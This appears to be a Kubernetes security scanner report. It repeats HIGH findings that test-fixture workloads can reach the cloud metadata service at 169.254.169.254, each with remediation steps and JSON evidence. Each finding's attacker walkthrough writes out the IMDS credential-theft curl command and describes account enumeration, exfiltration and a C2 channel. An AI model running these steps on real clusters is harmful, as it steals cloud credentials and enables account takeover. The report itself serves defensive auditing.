Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in cloud-eks-test (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec irsa-admin-app -n cloud-eks-test -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"irsa-admin-app"
workload_namespace
"cloud-eks-test"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "irsa-admin-app",
  "workload_namespace": "cloud-eks-test"
}
HIGH Deployment/containersec-fixtures/containersec-image Workload 7.8
Workload Deployment/containersec-fixtures/containersec-image has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-image runs in namespace containersec-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/containersec-fixtures/containersec-image via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in containersec-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec containersec-image -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"containersec-image"
workload_namespace
"containersec-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "containersec-image",
  "workload_namespace": "containersec-fixtures"
}
HIGH Deployment/containersec-fixtures/containersec-lifecycle Workload 7.8
Workload Deployment/containersec-fixtures/containersec-lifecycle has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-lifecycle runs in namespace containersec-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/containersec-fixtures/containersec-lifecycle via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in containersec-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec containersec-lifecycle -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"containersec-lifecycle"
workload_namespace
"containersec-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "containersec-lifecycle",
  "workload_namespace": "containersec-fixtures"
}
HIGH Deployment/containersec-fixtures/containersec-limits Workload 7.8
Workload Deployment/containersec-fixtures/containersec-limits has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-limits runs in namespace containersec-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/containersec-fixtures/containersec-limits via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in containersec-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec containersec-limits -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"containersec-limits"
workload_namespace
"containersec-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "containersec-limits",
  "workload_namespace": "containersec-fixtures"
}
HIGH Deployment/containersec-fixtures/containersec-probes Workload 7.8
Workload Deployment/containersec-fixtures/containersec-probes has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-probes runs in namespace containersec-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/containersec-fixtures/containersec-probes via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in containersec-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec containersec-probes -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"containersec-probes"
workload_namespace
"containersec-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "containersec-probes",
  "workload_namespace": "containersec-fixtures"
}
HIGH Deployment/csr-fixtures/csr-mint-app Workload 7.8
Workload Deployment/csr-fixtures/csr-mint-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Workload Deployment/csr-fixtures/csr-mint-app runs in namespace csr-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/csr-fixtures/csr-mint-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in csr-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec csr-mint-app -n csr-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"csr-mint-app"
workload_namespace
"csr-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "csr-mint-app",
  "workload_namespace": "csr-fixtures"
}
HIGH Deployment/csr-fixtures/csr-sign-app Workload 7.8
Workload Deployment/csr-fixtures/csr-sign-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/csr-fixtures/csr-sign-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/csr-fixtures/csr-sign-app Namespace: csr-fixtures

Workload Deployment/csr-fixtures/csr-sign-app runs in namespace csr-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/csr-fixtures/csr-sign-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in csr-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec csr-sign-app -n csr-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"csr-sign-app"
workload_namespace
"csr-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "csr-sign-app",
  "workload_namespace": "csr-fixtures"
}
HIGH Deployment/flat-network/api Workload 7.8
Workload Deployment/flat-network/api has an egress policy whose ipBlock: 0.0.0.0/0 admits cloud IMDS (169.254.169.254)
Scope · Workload Workload Deployment/flat-network/api: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/flat-network/api Namespace: flat-network

Workload Deployment/flat-network/api is selected by NetworkPolicy flat-network/allow-broad, which contains an egress to: peer with ipBlock.cidr: 0.0.0.0/0. That CIDR includes 169.254.169.254 and the policy's except: list does not carve it out, so the cloud Instance Metadata Service is reachable from the selected pods.

This is the most common foot-gun in egress policies. Operators often add ipBlock: 0.0.0.0/0 (or 169.254.0.0/16, the full link-local range) to allow "general internet" or "any AWS API" reach, not realizing that the link-local IMDS endpoint is included in the same range. The defense is to add an except: [169.254.169.254/32] carve-out (or to use a narrower allow ipBlock that does not include link-local at all).

On AWS the second-layer defense is IMDSv2 with hop-limit = 1, which blocks pods on the host network from reaching IMDS via the node's address. But hop-limit only helps when the cluster-level NetworkPolicy is also in place; a pod with explicit egress to 0.0.0.0/0 can still construct an IMDSv2 request when the hop-limit allows it.

Impact Despite having an egress NetworkPolicy in place, the workload retains a usable path to cloud IMDS. Container RCE -> cloud-account compromise stays one curl away.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises a pod selected by flat-network/allow-broad.spec.podSelector (the policy that admits IMDS).
  2. They reach IMDS at http://169.254.169.254/latest/meta-data/iam/security-credentials/ because the ipBlock: 0.0.0.0/0 allow rule includes the IMDS IP.
  3. They exfiltrate the worker node's IAM credentials and pivot into the cloud account.
  4. The NetworkPolicy gives operators a false sense of "egress is restricted" while the most dangerous destination is still reachable.
  5. On AWS specifically, IMDSv2 hop-limit = 1 may have been deployed at the node level, but the NetworkPolicy's broad ipBlock means the pod can still issue an IMDSv2 token request that the hop-limit permits.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in flat-network (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec api -n flat-network -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
offender_cidr
"0.0.0.0/0"
offender_policy
"flat-network/allow-broad"
reason
"explicit-allow"
workload_kind
"Deployment"
workload_name
"api"
workload_namespace
"flat-network"
Show raw JSON
{
  "offender_cidr": "0.0.0.0/0",
  "offender_policy": "flat-network/allow-broad",
  "reason": "explicit-allow",
  "workload_kind": "Deployment",
  "workload_name": "api",
  "workload_namespace": "flat-network"
}
HIGH Deployment/flat-network/unmatched Workload 7.8
Workload Deployment/flat-network/unmatched has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/flat-network/unmatched: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/flat-network/unmatched Namespace: flat-network

Workload Deployment/flat-network/unmatched runs in namespace flat-network and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/flat-network/unmatched via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in flat-network (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec unmatched -n flat-network -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"unmatched"
workload_namespace
"flat-network"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "unmatched",
  "workload_namespace": "flat-network"
}
HIGH Deployment/foothold-fixtures/foothold-priv-app Workload 7.8
Workload Deployment/foothold-fixtures/foothold-priv-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/foothold-fixtures/foothold-priv-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/foothold-fixtures/foothold-priv-app Namespace: foothold-fixtures

Workload Deployment/foothold-fixtures/foothold-priv-app runs in namespace foothold-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

